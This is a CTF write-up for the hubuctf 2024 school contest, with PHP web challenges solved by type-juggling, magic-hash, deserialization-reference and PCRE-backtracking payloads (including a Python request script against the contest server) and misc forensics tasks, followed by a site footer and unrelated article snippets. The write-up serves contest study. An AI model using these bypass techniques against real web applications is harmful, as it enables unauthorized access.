hubuctf-2024校赛-复现wp

web

easyweb1
 <?php
error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("You are failed.");
    }
    if(intval($num)){
    echo $flag;
    }
} 

利用intval()的性质,用数组绕过。构造payload

?num[]=0

hubuctf{80446bef-905a-4f87-94b8-c01e573ab311}

easyweb2
<?php

error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");

include("config.php");

$a = $_GET['a'];

if($a == md5($a)){
    echo $flag;
}

找个md5值和它本身的值弱相等的就行。网上能找到,平时可以多收集。

?a=0e215962017

hubuctf{c3ce23e3-016b-4f16-b701-343495750d74}

easyweb3

考点:序列化反序列化

<?php
error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");

class hubu{
    public $token;
    private $password;

    public function __construct($t,$p){
        $this->token= $t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$data = unserialize($_GET['hubu']);
$data->token=md5(mt_rand());

if($data->login()){
    echo $flag;
}

这个token是个md5数,又要强比较
可以让password变量引用token变量,这样它们就是一样的值了。

构造payload

<?php
class hubu{
    public $token;
    private $password;

    public function __construct($t){
        $this->token= $t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$a = new hubu(1);
echo urlencode(serialize($a));
?>

hubuctf{3c223411-3a5a-45f2-80a3-9bed82440ad0}

easyweb4
<?php

error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");

if(isset($_POST['data'])){
    $a = (String)$_POST['data'];

    if(preg_match('/.+?r1kka/is', $a)){
        die('bye!');
    }
    if(stripos($a,'77r1kka') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

preg_match():其中的‘.’代表着匹配前面的单个字符,‘+’代表匹配一次或者是多次,‘+?’代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*ctfshow,*代表任意字符,就会返回true)

stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE

进行了一个String强制类型转换,意思就是不能用数组绕过了,所以用PCRE回溯次数限制.

import requests
 
url = 'http://challenge.hubuctf.cn:31393/'
data = {
    'data': 'very' * 250000 + '77r1kka'
}
 
r = requests.post(url=url, data=data).text
print(r)

misc

convert

考点:二进制转16进制

image-20241104202047294

将二进制转换成16进制,然后发现头是52 61 72 21,是个rar文件,直接提取文件

image-20241104202232832

是个jpg文件,查看信息,就能找到一串码,解码就是flag。

ZmxhZ3swMWEyNWVhM2ZkNjM0OWM2ZTYzNWExZDAxOTZlNzVmYn0=

flag{01a25ea3fd6349c6e635a1d0196e75fb}

passwd

考点:流量分析

将文件放进wireshake分析,得到

image-20241104202711499

7f表示退格,所以最后flag就是 flag{backd00Rmate}

reverse me

考点:文件逆序

根据题目提示和文件尾,将文件逆序,得到一张jpg文件

image-20241104203420474

然后将图片左右旋转就能拿到flag。

flag{4f7548f93c7bef1dc6a0542cf04e796e}

try_it

考点:压缩包爆破

压缩包里面有个flag.txt,但需要密码,直接进行字典爆破

image-20241104203708464

输入密码找到flag文件,打开发现是个jsfuck码,解码就是flag

image-20241104203747540

flag{d7da7aeb-a3d6-4637-aff5-57ac9a00582b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/922310.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[AutoSar]BSW_Diagnostic_007 BootLoader 跳转及APP OR boot response 实现

目录 关键词平台说明背景一、Process Jump to Bootloader二、相关函数和配置2.1 Dcm_GetProgConditions()2.2 Dcm_SetProgConditions() 三、如何实现在APP 还是BOOT 中对10 02服务响应3.1 配置3.2 code 四、报文五、小结 关键词 嵌入式、C语言、autosar、OS、BSW、UDS、diagno…

Linux命令思维导图

看到一个很不错的Linux命令思维导图&#xff0c;用机器翻译了一下&#xff0c;建议收藏备用。 附上英文版&#xff1a;

vmware esxi vcenter6.7安装教程(dell)以及许可证

背景 vSphere是数据中心产品附带的软件套件&#xff0c;vSphere就像是Microsoft Office套件一样&#xff0c;其中包含许多软件&#xff0c;例如PPT、Word、Excle等&#xff0c;同理&#xff0c;vSphere也是一个软件套装&#xff0c;其中包含vCenter、ESXi、vSphere Client等&a…

springboot实战(17)(“大事件“——新增文章主体逻辑)

目录 一、新增文章涉及的数据表、实体类。 &#xff08;1&#xff09;表结构。 &#xff08;2&#xff09;实体类&#xff08;Article&#xff09; 二、接口文档分析。 &#xff08;1&#xff09;请求方式与请求路径。 &#xff08;2&#xff09;请求参数。 &#xff08;3&…

Vue小项目(开发一个购物车)

基于Vue知识点1&#xff08;点击跳转&#xff09;、Vue知识点2&#xff08;点击跳转&#xff09; ​想要学习更多前端知识&#xff1a;点击Web前端专栏 接下来我们开发一个如下图所示&#xff0c;有最基本购物车功能的简易小项目 下面这是最基本的HTMLCSS框架&#xff01;&…

Vue.js 学习总结(16)—— 为什么 :deep、/deep/、>>> 样式能穿透到子组件

不使用 deep 要想修改三方组件样式&#xff0c;只能添加到 scoped 之外&#xff0c;弊端是污染了全局样式&#xff0c;后续可能出现样式冲突。 <style lang"less"> .container {.el-button {background: #777; } }使用 /deep/ deprecated .container1 {/deep…

禁用达梦DEM的agent

agent占用内存较多&#xff0c;实际没什么使用&#xff0c;考虑停止agent 应该切换到root执行停止 cd /dm/dmdbms/tool/dmagent/service/ ./DmAgentService stop禁用

多维高斯分布的信息熵和KL散度计算

多维高斯分布是一种特殊的多维随机分布&#xff0c;应用非常广泛&#xff0c;很多现实问题的原始特征分布都可以看作多维高斯分布。本文以数据特征服从多维高斯分布的多分类任务这一理想场景为例&#xff0c;从理论层面分析数据特征和分类问题难度的关系注意&#xff0c;本文分…

【ESP32CAM+Android+C#上位机】ESP32-CAM在STA或AP模式下基于UDP与手机APP或C#上位机进行视频流/图像传输

前言: 本项目实现ESP32-CAM在STA或AP模式下基于UDP与手机APP或C#上位机进行视频流/图像传输。本项目包含有ESP32源码(arduino)、Android手机APP源码以及C#上位机源码,本文对其工程项目的配置使用进行讲解。实战开发,亲测无误。 AP模式,就是ESP32发出一个WIFI/热点提供给电…

Banana Pi BPI-CanMV-K230D-Zero 采用嘉楠科技 K230D RISC-V芯片设计

概述 Banana Pi BPI-CanMV-K230D-Zero 采用嘉楠科技 K230D RISC-V芯片设计,探索 RISC-V Vector1.0 的前沿技术&#xff0c;选择嘉楠科技的 Canmv K230D Zero 开发板。这款创新的开发板是由嘉楠科技与香蕉派开源社区联合设计研发&#xff0c;搭载了先进的勘智 K230D 芯片。 K230…

RocketMQ: Producer与Consumer 最佳实践

Producer 1 &#xff09;发送消息注意事项 1.1 一个应用尽可能用一个 Topic&#xff0c;消息子类型用 tags 来标识&#xff0c;tags 可以由应用自由设置。只有发送消息设置了tags&#xff0c;消费方在订阅消息时&#xff0c;才可以利用 tags 在 broker 做消息过滤 message.setT…

MCGSMCGS昆仑通态触摸屏

MCGS昆仑通态触摸屏应用实例详解 1目录设置 本案例讲了两个窗口的互相调用 创建工程 首先创建一个新工程 打开软件 McgsPro组态软件 菜单栏&#xff1a;文件&#xff1a;新建工程 打开工程设置窗口 HMI配置中应该是对应的不同型号的触摸屏&#xff0c; 选择一个类型&#x…

低温存储开关机问题

问题&#xff1a; 某消费电子产品在进行可靠性实验室&#xff0c;在低温-30C存储两个小时后&#xff0c;上电不开机。在常温25C时&#xff0c;开关机正常。 分析&#xff1a; 1、接串口抓log信息&#xff0c;从打印信息可以看出uboot可以起来&#xff0c;在跑kernel时&#x…

【JavaEE进阶】 JavaScript

本节⽬标 了解什么是JavaScript, 学习JavaScript的常⻅操作, 以及使⽤JQuery完成简单的⻚⾯元素操作. 一. 初识 JavaScript 1.JavaScript 是什么 JavaScript (简称 JS), 是⼀个脚本语⾔, 解释型或即时编译型的编程语⾔. 虽然它是作为开发Web⻚⾯的脚本语⾔⽽出名&#xff0c;…

蓝桥杯每日真题 - 第23天

题目&#xff1a;&#xff08;直线&#xff09; 题目描述&#xff08;12届 C&C B组C题&#xff09; 解题思路&#xff1a; 题目理解: 在平面直角坐标系中&#xff0c;从给定的点集中确定唯一的直线。 两点确定一条直线&#xff0c;判断两条直线是否相同&#xff0c;可通过…

战略思维:破解复杂世界的系统性智慧

在当今快速演变且错综复杂的时代背景下&#xff0c;战略思维已然成为个人、组织乃至国家在应对挑战和实现目标过程中的核心能力。它不仅是一种思考模式&#xff0c;更是一套系统且富有智慧的工具&#xff0c;助力我们在混沌的环境中精准定位方向、敏锐捕捉机遇。 一、目…

html+js实现图片的放大缩小等比缩放翻转,自动播放切换,顺逆时针旋转

效果图&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>图片预览</title><sty…

postgresql|数据库开发|python的psycopg2库按指定顺序批量执行SQL文件(可离线化部署)

一、 psycopg2简介 psycopg2库是python的一个可直接操作postgresql数据库的类库&#xff0c;是一个用于Python编程语言的PostgreSQL数据库适配器。它允许开发人员使用Python语言与PostgreSQL数据库进行交互和操作&#xff0c;不同于java&#xff0c;需要专用的一个驱动&#…

基于Java Springboot个人健康管理网站

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

论文概览 |《Journal of Urban Technology》2024 Vol.31 Issue.2

本次给大家整理的是《Journal of Urban Technology》杂志2024年第31卷第2期的论文的题目和摘要&#xff0c;一共包括6篇SCI论文&#xff01; 论文1 Aerial Video Surveillance in a Megacity: A Case Study in Santiago, Chile 大城市中的空中视频监控&#xff1a;智利圣地亚哥…